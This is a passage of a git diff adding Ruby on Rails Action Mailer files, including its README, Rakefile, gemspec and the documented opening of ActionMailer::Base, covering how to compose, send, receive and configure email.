+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
new file mode 100644
index 0000000000..397ebe4201
--- /dev/null
+++ b/actionmailer/README.rdoc
@@ -0,0 +1,175 @@
+= Action Mailer -- Easy email delivery and testing
+
+Action Mailer is a framework for designing email service layers. These layers
+are used to consolidate code for sending out forgotten passwords, welcome
+wishes on signup, invoices for billing, and any other use case that requires
+a written notification to either a person or another system.
+
+Action Mailer is in essence a wrapper around Action Controller and the
+Mail gem.  It provides a way to make emails using templates in the same
+way that Action Controller renders views using templates.
+
+Additionally, an Action Mailer class can be used to process incoming email,
+such as allowing a blog to accept new posts from an email (which could even
+have been sent from a phone).
+
+== Sending emails
+
+The framework works by initializing any instance variables you want to be
+available in the email template, followed by a call to +mail+ to deliver
+the email.
+
+This can be as simple as:
+
+  class Notifier < ActionMailer::Base
+    default from: 'system@loudthinking.com'
+
+    def welcome(recipient)
+      @recipient = recipient
+      mail(to: recipient,
+           subject: "[Signed up] Welcome #{recipient}")
+    end
+  end
+
+The body of the email is created by using an Action View template (regular
+ERB) that has the instance variables that are declared in the mailer action.
+
+So the corresponding body template for the method above could look like this:
+
+  Hello there,
+
+  Mr. <%= @recipient %>
+
+  Thank you for signing up!
+
+If the recipient was given as "david@loudthinking.com", the email
+generated would look like this:
+
+  Date: Mon, 25 Jan 2010 22:48:09 +1100
+  From: system@loudthinking.com
+  To: david@loudthinking.com
+  Message-ID: <4b5d84f9dd6a5_7380800b81ac29578@void.loudthinking.com.mail>
+  Subject: [Signed up] Welcome david@loudthinking.com
+  Mime-Version: 1.0
+  Content-Type: text/plain;
+  	charset="US-ASCII";
+  Content-Transfer-Encoding: 7bit
+
+  Hello there,
+
+  Mr. david@loudthinking.com
+
+  Thank you for signing up!
+
+In order to send mails, you simply call the method and then call +deliver_now+ on the return value.
+
+Calling the method returns a Mail Message object:
+
+  message = Notifier.welcome("david@loudthinking.com")   # => Returns a Mail::Message object
+  message.deliver_now                                    # => delivers the email
+
+Or you can just chain the methods together like:
+
+  Notifier.welcome("david@loudthinking.com").deliver_now # Creates the email and sends it immediately
+
+== Setting defaults
+
+It is possible to set default values that will be used in every method in your
+Action Mailer class. To implement this functionality, you just call the public
+class method +default+ which you get for free from <tt>ActionMailer::Base</tt>.
+This method accepts a Hash as the parameter. You can use any of the headers,
+email messages have, like +:from+ as the key. You can also pass in a string as
+the key, like "Content-Type", but Action Mailer does this out of the box for you,
+so you won't need to worry about that. Finally, it is also possible to pass in a
+Proc that will get evaluated when it is needed.
+
+Note that every value you set with this method will get overwritten if you use the
+same key in your mailer method.
+
+Example:
+
+  class AuthenticationMailer < ActionMailer::Base
+    default from: "awesome@application.com", subject: Proc.new { "E-mail was generated at #{Time.now}" }
+    .....
+  end
+
+== Receiving emails
+
+To receive emails, you need to implement a public instance method called
++receive+ that takes an email object as its single parameter. The Action Mailer
+framework has a corresponding class method, which is also called +receive+, that
+accepts a raw, unprocessed email as a string, which it then turns into the email
+object and calls the receive instance method.
+
+Example:
+
+  class Mailman < ActionMailer::Base
+    def receive(email)
+      page = Page.find_by(address: email.to.first)
+      page.emails.create(
+        subject: email.subject, body: email.body
+      )
+
+      if email.has_attachments?
+        email.attachments.each do |attachment|
+          page.attachments.create({
+            file: attachment, description: email.subject
+          })
+        end
+      end
+    end
+  end
+
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use
+the runner in the trivial case like this:
+
+  rails runner 'Mailman.receive(STDIN.read)'
+
+However, invoking Rails in the runner for each mail to be received is very
+resource intensive. A single instance of Rails should be run within a daemon, if
+it is going to process more than just a limited amount of email.
+
+== Configuration
+
+The Base class has the full list of configuration options. Here's an example:
+
+  ActionMailer::Base.smtp_settings = {
+    address:        'smtp.yourserver.com', # default: localhost
+    port:           '25',                  # default: 25
+    user_name:      'user',
+    password:       'pass',
+    authentication: :plain                 # :plain, :login or :cram_md5
+  }
+
+
+== Download and installation
+
+The latest version of Action Mailer can be installed with RubyGems:
+
+  $ gem install actionmailer
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionmailer
+
+
+== License
+
+Action Mailer is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
new file mode 100644
index 0000000000..6ac408e1cb
--- /dev/null
+++ b/actionmailer/Rakefile
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+desc "Default Task"
+task default: [ :test ]
+
+task :package
+
+# Run the unit tests
+Rake::TestTask.new { |t|
+  t.libs << "test"
+  t.pattern = "test/**/*_test.rb"
+  t.warning = true
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+}
+
+namespace :test do
+  task :isolated do
+    Dir.glob("test/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib:test", file)
+    end || raise("Failures")
+  end
+end
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
new file mode 100644
index 0000000000..b8a2e80bd3
--- /dev/null
+++ b/actionmailer/actionmailer.gemspec
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actionmailer"
+  s.version     = version
+  s.summary     = "Email composition, delivery, and receiving framework (part of Rails)."
+  s.description = "Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
+  s.require_path = "lib"
+  s.requirements << "none"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/actionmailer",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/actionmailer/CHANGELOG.md"
+  }
+
+  s.add_dependency "actionpack", version
+  s.add_dependency "actionview", version
+  s.add_dependency "activejob", version
+
+  s.add_dependency "mail", ["~> 2.5", ">= 2.5.4"]
+  s.add_dependency "rails-dom-testing", "~> 2.0"
+end
diff --git a/actionmailer/bin/test b/actionmailer/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/actionmailer/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
new file mode 100644
index 0000000000..a170eb7917
--- /dev/null
+++ b/actionmailer/lib/action_mailer.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "abstract_controller"
+require_relative "action_mailer/version"
+
+# Common Active Support usage in Action Mailer
+require "active_support"
+require "active_support/rails"
+require "active_support/core_ext/class"
+require "active_support/core_ext/module/attr_internal"
+require "active_support/core_ext/string/inflections"
+require "active_support/lazy_load_hooks"
+
+module ActionMailer
+  extend ::ActiveSupport::Autoload
+
+  eager_autoload do
+    autoload :Collector
+  end
+
+  autoload :Base
+  autoload :DeliveryMethods
+  autoload :InlinePreviewInterceptor
+  autoload :MailHelper
+  autoload :Parameterized
+  autoload :Preview
+  autoload :Previews, "action_mailer/preview"
+  autoload :TestCase
+  autoload :TestHelper
+  autoload :MessageDelivery
+  autoload :DeliveryJob
+end
+
+autoload :Mime, "action_dispatch/http/mime_type"
+
+ActiveSupport.on_load(:action_view) do
+  ActionView::Base.default_formats ||= Mime::SET.symbols
+  ActionView::Template::Types.delegate_to Mime
+end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
new file mode 100644
index 0000000000..6add4ec89c
--- /dev/null
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -0,0 +1,985 @@
+# frozen_string_literal: true
+
+require "mail"
+require_relative "collector"
+require "active_support/core_ext/string/inflections"
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/module/anonymous"
+
+require_relative "log_subscriber"
+require_relative "rescuable"
+
+module ActionMailer
+  # Action Mailer allows you to send email from your application using a mailer model and views.
+  #
+  # = Mailer Models
+  #
+  # To use Action Mailer, you need to create a mailer model.
+  #
+  #   $ rails generate mailer Notifier
+  #
+  # The generated model inherits from <tt>ApplicationMailer</tt> which in turn
+  # inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+  # used to generate an email message. In these methods, you can setup variables to be used in
+  # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
+  #
+  #   class ApplicationMailer < ActionMailer::Base
+  #     default from: 'from@example.com'
+  #     layout 'mailer'
+  #   end
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     default from: 'no-reply@example.com',
+  #             return_path: 'system@example.com'
+  #
+  #     def welcome(recipient)
+  #       @account = recipient
+  #       mail(to: recipient.email_address_with_name,
+  #            bcc: ["bcc@example.com", "Order Watcher <watcher@example.com>"])
+  #     end
+  #   end
+  #
+  # Within the mailer method, you have access to the following methods:
+  #
+  # * <tt>attachments[]=</tt> - Allows you to add attachments to your email in an intuitive
+  #   manner; <tt>attachments['filename.png'] = File.read('path/to/filename.png')</tt>
+  #
+  # * <tt>attachments.inline[]=</tt> - Allows you to add an inline attachment to your email
+  #   in the same manner as <tt>attachments[]=</tt>
+  #
+  # * <tt>headers[]=</tt> - Allows you to specify any header field in your email such
+  #   as <tt>headers['X-No-Spam'] = 'True'</tt>. Note that declaring a header multiple times
+  #   will add many fields of the same name. Read #headers doc for more information.
+  #
+  # * <tt>headers(hash)</tt> - Allows you to specify multiple headers in your email such
+  #   as <tt>headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234@message.id'})</tt>
+  #
+  # * <tt>mail</tt> - Allows you to specify email to be sent.
+  #
+  # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+  # will accept (any valid email header including optional fields).
+  #
+  # The mail method, if not passed a block, will inspect your views and send all the views with
+  # the same name as the method, so the above action would send the +welcome.text.erb+ view
+  # file as well as the +welcome.html.erb+ view file in a +multipart/alternative+ email.
+  #
+  # If you want to explicitly render only certain templates, pass a block:
+  #
+  #   mail(to: user.email) do |format|
+  #     format.text
+  #     format.html
+  #   end
+  #
+  # The block syntax is also useful in providing information specific to a part:
+  #
+  #   mail(to: user.email) do |format|
+  #     format.text(content_transfer_encoding: "base64")
+  #     format.html
+  #   end
+  #
+  # Or even to render a special view:
+  #
+  #   mail(to: user.email) do |format|
+  #     format.text
+  #     format.html { render "some_other_template" }
+  #   end
+  #
+  # = Mailer views
+  #
+  # Like Action Controller, each mailer class has a corresponding view directory in which each
+  # method of the class looks for a template with its name.
+  #
+  # To define a template to be used with a mailer, create an <tt>.erb</tt> file with the same
+  # name as the method in your mailer model. For example, in the mailer defined above, the template at
+  # <tt>app/views/notifier_mailer/welcome.text.erb</tt> would be used to generate the email.
+  #
+  # Variables defined in the methods of your mailer model are accessible as instance variables in their
+  # corresponding view.
+  #
+  # Emails by default are sent in plain text, so a sample view for our model example might look like this:
+  #
+  #   Hi <%= @account.name %>,
+  #   Thanks for joining our service! Please check back often.
+  #
+  # You can even use Action View helpers in these views. For example:
+  #
+  #   You got a new note!
+  #   <%= truncate(@note.body, length: 25) %>
+  #
+  # If you need to access the subject, from or the recipients in the view, you can do that through message object:
+  #
+  #   You got a new note from <%= message.from %>!
+  #   <%= truncate(@note.body, length: 25) %>
+  #
+  #
+  # = Generating URLs
+  #
+  # URLs can be generated in mailer views using <tt>url_for</tt> or named routes. Unlike controllers from
+  # Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need
+  # to provide all of the details needed to generate a URL.
+  #
+  # When using <tt>url_for</tt> you'll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:
+  #
+  #   <%= url_for(host: "example.com", controller: "welcome", action: "greeting") %>
+  #
+  # When using named routes you only need to supply the <tt>:host</tt>:
+  #
+  #   <%= users_url(host: "example.com") %>
+  #
+  # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the
+  # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will
+  # have no concept of a current URL from which to determine a relative path.
+  #
+  # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt>
+  # option as a configuration option in <tt>config/application.rb</tt>:
+  #
+  #   config.action_mailer.default_url_options = { host: "example.com" }
+  #
+  # You can also define a <tt>default_url_options</tt> method on individual mailers to override these
+  # default settings per-mailer.
+  #
+  # By default when <tt>config.force_ssl</tt> is true, URLs generated for hosts will use the HTTPS protocol.
+  #
+  # = Sending mail
+  #
+  # Once a mailer action and template are defined, you can deliver your message or defer its creation and
+  # delivery for later:
+  #
+  #   NotifierMailer.welcome(User.first).deliver_now # sends the email
+  #   mail = NotifierMailer.welcome(User.first)      # => an ActionMailer::MessageDelivery object
+  #   mail.deliver_now                               # generates and sends the email now
+  #
+  # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a delegate that will call
+  # your method to generate the mail. If you want direct access to the delegator, or <tt>Mail::Message</tt>,
+  # you can call the <tt>message</tt> method on the <tt>ActionMailer::MessageDelivery</tt> object.
+  #
+  #   NotifierMailer.welcome(User.first).message     # => a Mail::Message object
+  #
+  # Action Mailer is nicely integrated with Active Job so you can generate and send emails in the background
+  # (example: outside of the request-response cycle, so the user doesn't have to wait on it):
+  #
+  #   NotifierMailer.welcome(User.first).deliver_later # enqueue the email sending to Active Job
+  #
+  # Note that <tt>deliver_later</tt> will execute your method from the background job.
+  #
+  # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
+  # All instance methods are expected to return a message object to be sent.
+  #
+  # = Multipart Emails
+  #
+  # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use
+  # multipart templates, where each template is named after the name of the action, followed by the content
+  # type. Each such detected template will be added to the message, as a separate part.
+  #
+  # For example, if the following templates exist:
+  # * signup_notification.text.erb
+  # * signup_notification.html.erb
+  # * signup_notification.xml.builder
+  # * signup_notification.yml.erb
+  #
+  # Each would be rendered and added as a separate part to the message, with the corresponding content
+  # type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
+  # which indicates that the email contains multiple different representations of the same email
+  # body. The same instance variables defined in the action are passed to all email templates.
+  #
+  # Implicit template rendering is not performed if any attachments or parts have been added to the email.
+  # This means that you'll have to manually add each part to the email and set the content type of the email
+  # to <tt>multipart/alternative</tt>.
+  #
+  # = Attachments
+  #
+  # Sending attachment in emails is easy:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     def welcome(recipient)
+  #       attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+  #       mail(to: recipient, subject: "New account information")
+  #     end
+  #   end
+  #
+  # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.html.erb</tt>
+  # template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts,
+  # the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside,
+  # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
+  # with the filename +free_book.pdf+.
+  #
+  # If you need to send attachments with no content, you need to create an empty view for it,
+  # or add an empty body parameter like this:
+  #
+  #     class NotifierMailer < ApplicationMailer
+  #       def welcome(recipient)
+  #         attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+  #         mail(to: recipient, subject: "New account information", body: "")
+  #       end
+  #     end
+  #
+  # You can also send attachments with html template, in this case you need to add body, attachments,
+  # and custom content type like this:
+  #
+  #     class NotifierMailer < ApplicationMailer
+  #       def welcome(recipient)
+  #         attachments["free_book.pdf"] = File.read("path/to/file.pdf")
+  #         mail(to: recipient,
+  #              subject: "New account information",
+  #              content_type: "text/html",
+  #              body: "<html><body>Hello there</body></html>")
+  #       end
+  #     end
+  #
+  # = Inline Attachments
+  #
+  # You can also specify that a file should be displayed inline with other HTML. This is useful
+  # if you want to display a corporate logo or a photo.
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     def welcome(recipient)
+  #       attachments.inline['photo.png'] = File.read('path/to/photo.png')
+  #       mail(to: recipient, subject: "Here is what we look like")
+  #     end
+  #   end
+  #
+  # And then to reference the image in the view, you create a <tt>welcome.html.erb</tt> file and
+  # make a call to +image_tag+ passing in the attachment you want to display and then call
+  # +url+ on the attachment to get the relative content id path for the image source:
+  #
+  #   <h1>Please Don't Cringe</h1>
+  #
+  #   <%= image_tag attachments['photo.png'].url -%>
+  #
+  # As we are using Action View's +image_tag+ method, you can pass in any other options you want:
+  #
+  #   <h1>Please Don't Cringe</h1>
+  #
+  #   <%= image_tag attachments['photo.png'].url, alt: 'Our Photo', class: 'photo' -%>
+  #
+  # = Observing and Intercepting Mails
+  #
+  # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to
+  # register classes that are called during the mail delivery life cycle.
+  #
+  # An observer class must implement the <tt>:delivered_email(message)</tt> method which will be
+  # called once for every email sent after the email has been sent.
+  #
+  # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
+  # called before the email is sent, allowing you to make modifications to the email before it hits
+  # the delivery agents. Your class should make any needed modifications directly to the passed
+  # in <tt>Mail::Message</tt> instance.
+  #
+  # = Default Hash
+  #
+  # Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
+  # default method inside the class definition:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     default sender: 'system@example.com'
+  #   end
+  #
+  # You can pass in any header value that a <tt>Mail::Message</tt> accepts. Out of the box,
+  # <tt>ActionMailer::Base</tt> sets the following:
+  #
+  # * <tt>mime_version: "1.0"</tt>
+  # * <tt>charset:      "UTF-8"</tt>
+  # * <tt>content_type: "text/plain"</tt>
+  # * <tt>parts_order:  [ "text/plain", "text/enriched", "text/html" ]</tt>
+  #
+  # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid <tt>Mail::Message</tt> header fields,
+  # but Action Mailer translates them appropriately and sets the correct values.
+  #
+  # As you can pass in any header, you need to either quote the header as a string, or pass it in as
+  # an underscored symbol, so the following will work:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     default 'Content-Transfer-Encoding' => '7bit',
+  #             content_description: 'This is a description'
+  #   end
+  #
+  # Finally, Action Mailer also supports passing <tt>Proc</tt> and <tt>Lambda</tt> objects into the default hash,
+  # so you can define methods that evaluate as the message is being generated:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     default 'X-Special-Header' => Proc.new { my_method }, to: -> { @inviter.email_address }
+  #
+  #     private
+  #       def my_method
+  #         'some complex call'
+  #       end
+  #   end
+  #
+  # Note that the proc/lambda is evaluated right at the start of the mail message generation, so if you
+  # set something in the default hash using a proc, and then set the same thing inside of your
+  # mailer method, it will get overwritten by the mailer method.
+  #
+  # It is also possible to set these default options that will be used in all mailers through
+  # the <tt>default_options=</tt> configuration in <tt>config/application.rb</tt>:
+  #
+  #    config.action_mailer.default_options = { from: "no-reply@example.org" }
+  #
+  # = Callbacks
+  #
+  # You can specify callbacks using before_action and after_action for configuring your messages.
+  # This may be useful, for example, when you want to add default inline attachments for all
+  # messages sent out by a certain mailer class:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     before_action :add_inline_attachment!
+  #
+  #     def welcome
+  #       mail
+  #     end
+  #
+  #     private
+  #       def add_inline_attachment!
+  #         attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
+  #       end
+  #   end
+  #
+  # Callbacks in Action Mailer are implemented using
+  # <tt>AbstractController::Callbacks</tt>, so you can define and configure
+  # callbacks in the same manner that you would use callbacks in classes that
+  # inherit from <tt>ActionController::Base</tt>.
+  #
+  # Note that unless you have a specific reason to do so, you should prefer
+  # using <tt>before_action</tt> rather than <tt>after_action</tt> in your
+  # Action Mailer classes so that headers are parsed properly.
+  #
+  # = Previewing emails
+  #
+  # You can preview your email templates visually by adding a mailer preview file to the
+  # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+  # with database data, you'll need to write some scenarios to load messages with fake data:
+  #
+  #   class NotifierMailerPreview < ActionMailer::Preview
+  #     def welcome
+  #       NotifierMailer.welcome(User.first)
+  #     end
+  #   end
+  #
+  # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+  # method without the additional <tt>deliver_now</tt> / <tt>deliver_later</tt>. The location of the
+  # mailer previews directory can be configured using the <tt>preview_path</tt> option which has a default
+  # of <tt>test/mailers/previews</tt>:
+  #
+  #   config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+  #
+  # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+  # on a running development server instance.
+  #
+  # Previews can also be intercepted in a similar manner as deliveries can be by registering
+  # a preview interceptor that has a <tt>previewing_email</tt> method:
+  #
+  #   class CssInlineStyler
+  #     def self.previewing_email(message)
+  #       # inline CSS styles
+  #     end
+  #   end
+  #
+  #   config.action_mailer.preview_interceptors :css_inline_styler
+  #
+  # Note that interceptors need to be registered both with <tt>register_interceptor</tt>
+  # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
+  # previewing emails.
+  #
+  # = Configuration options
+  #
+  # These options are specified on the class level, like
+  # <tt>ActionMailer::Base.raise_delivery_errors = true</tt>
+  #
+  # * <tt>default_options</tt> - You can pass this in at a class level as well as within the class itself as
+  #   per the above section.
+  #
+  # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
+  #   Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
+  #
+  # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
+  #   * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
+  #     "localhost" setting.
+  #   * <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
+  #   * <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
+  #   * <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
+  #   * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
+  #   * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the
+  #     authentication type here.
+  #     This is a symbol and one of <tt>:plain</tt> (will send the password Base64 encoded), <tt>:login</tt> (will
+  #     send the password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
+  #     information and a cryptographic Message Digest 5 algorithm to hash important information)
+  #   * <tt>:enable_starttls_auto</tt> - Detects if STARTTLS is enabled in your SMTP server and starts
+  #     to use it. Defaults to <tt>true</tt>.
+  #   * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
+  #     really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
+  #     of an OpenSSL verify constant (<tt>'none'</tt> or <tt>'peer'</tt>) or directly the constant
+  #     (<tt>OpenSSL::SSL::VERIFY_NONE</tt> or <tt>OpenSSL::SSL::VERIFY_PEER</tt>).
+  #     <tt>:ssl/:tls</tt> Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection)
+  #
+  # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
+  #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
+  #   * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i</tt> with <tt>-f sender@address</tt>
+  #     added automatically before the message is sent.
+  #
+  # * <tt>file_settings</tt> - Allows you to override options for the <tt>:file</tt> delivery method.
+  #   * <tt>:location</tt> - The directory into which emails will be written. Defaults to the application
+  #     <tt>tmp/mails</tt>.
+  #
+  # * <tt>raise_delivery_errors</tt> - Whether or not errors should be raised if the email fails to be delivered.
+  #
+  # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
+  #   <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
+  #   object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
+  #   implement for a custom delivery agent.
+  #
+  # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
+  #   call <tt>.deliver</tt> on an email message or on an Action Mailer method. This is on by default but can
+  #   be turned off to aid in functional testing.
+  #
+  # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
+  #   <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
+  #
+  # * <tt>deliver_later_queue_name</tt> - The name of the queue used with <tt>deliver_later</tt>. Defaults to +mailers+.
+  class Base < AbstractController::Base
+    include DeliveryMethods
+    include Rescuable
+    include Parameterized
+    include Previews
+
+    abstract!
+
+    include AbstractController::Rendering
+
+    include AbstractController::Logger
+    include AbstractController::Helpers
+    include AbstractController::Translation
+    include AbstractController::AssetPaths
+    include AbstractController::Callbacks
+    include AbstractController::Caching
+
+    include ActionView::Layouts
+
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
+
+    helper ActionMailer::MailHelper
+
+    class_attribute :delivery_job, default: ::ActionMailer::DeliveryJob
+    class_attribute :default_params, default: {
+      mime_version: "1.0",
+      charset:      "UTF-8",
+      content_type: "text/plain",
+      parts_order:  [ "text/plain", "text/enriched", "text/html" ]
+    }.freeze
+
+    class << self
+      # Register one or more Observers which will be notified when mail is delivered.
+      def register_observers(*observers)
+        observers.flatten.compact.each { |observer| register_observer(observer) }
+      end
+
+      # Register one or more Interceptors which will be called before mail is sent.
+      def register_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_interceptor(interceptor) }
+      end
+
+      # Register an Observer which will be notified when mail is delivered.
+      # Either a class, string or symbol can be passed in as the Observer.
+      # If a string or symbol is passed in it will be camelized and constantized.
+      def register_observer(observer)
+        Mail.register_observer(observer_class_for(observer))
+      end
+
+      # Register an Interceptor which will be called before mail is sent.
+      # Either a class, string or symbol can be passed in as the Interceptor.
+      # If a string or symbol is passed in it will be camelized and constantized.
+      def register_interceptor(interceptor)
+        Mail.register_interceptor(observer_class_for(interceptor))
+      end
+
+      def observer_class_for(value) # :nodoc:
+        case value
+        when String, Symbol
+          value.to_s.camelize.constantize
+        else
+          value
+        end
+      end
+      private :observer_class_for
+
+      # Returns the name of the current mailer. This method is also being used as a path for a view lookup.
+      # If this is an anonymous mailer, this method will return +anonymous+ instead.
+      def mailer_name
+        @mailer_name ||= anonymous? ? "anonymous" : name.underscore
+      end
+      # Allows to set the name of current mailer.
+      attr_writer :mailer_name
+      alias :controller_path :mailer_name
+
+      # Sets the defaults through app configuration:
+      #
+      #     config.action_mailer.default(from: "no-reply@example.org")
+      #
+      # Aliased by ::default_options=
+      def default(value = nil)
+        self.default_params = default_params.merge(value).freeze if value
+        default_params
+      end
+      # Allows to set defaults through app configuration:
+      #
+      #    config.action_mailer.default_options = { from: "no-reply@example.org" }
+      alias :default_options= :default
+
+      # Receives a raw email, parses it into an email object, decodes it,
+      # instantiates a new mailer, and passes the email object to the mailer
+      # object's +receive+ method.
+      #
+      # If you want your mailer to be able to process incoming messages, you'll
+      # need to implement a +receive+ method that accepts the raw email string
+      # as a parameter:
+      #
+      #   class MyMailer < ActionMailer::Base
+      #     def receive(mail)
+      #       # ...
+      #     end
+      #   end
+      def receive(raw_mail)
+        ActiveSupport::Notifications.instrument("receive.action_mailer") do |payload|
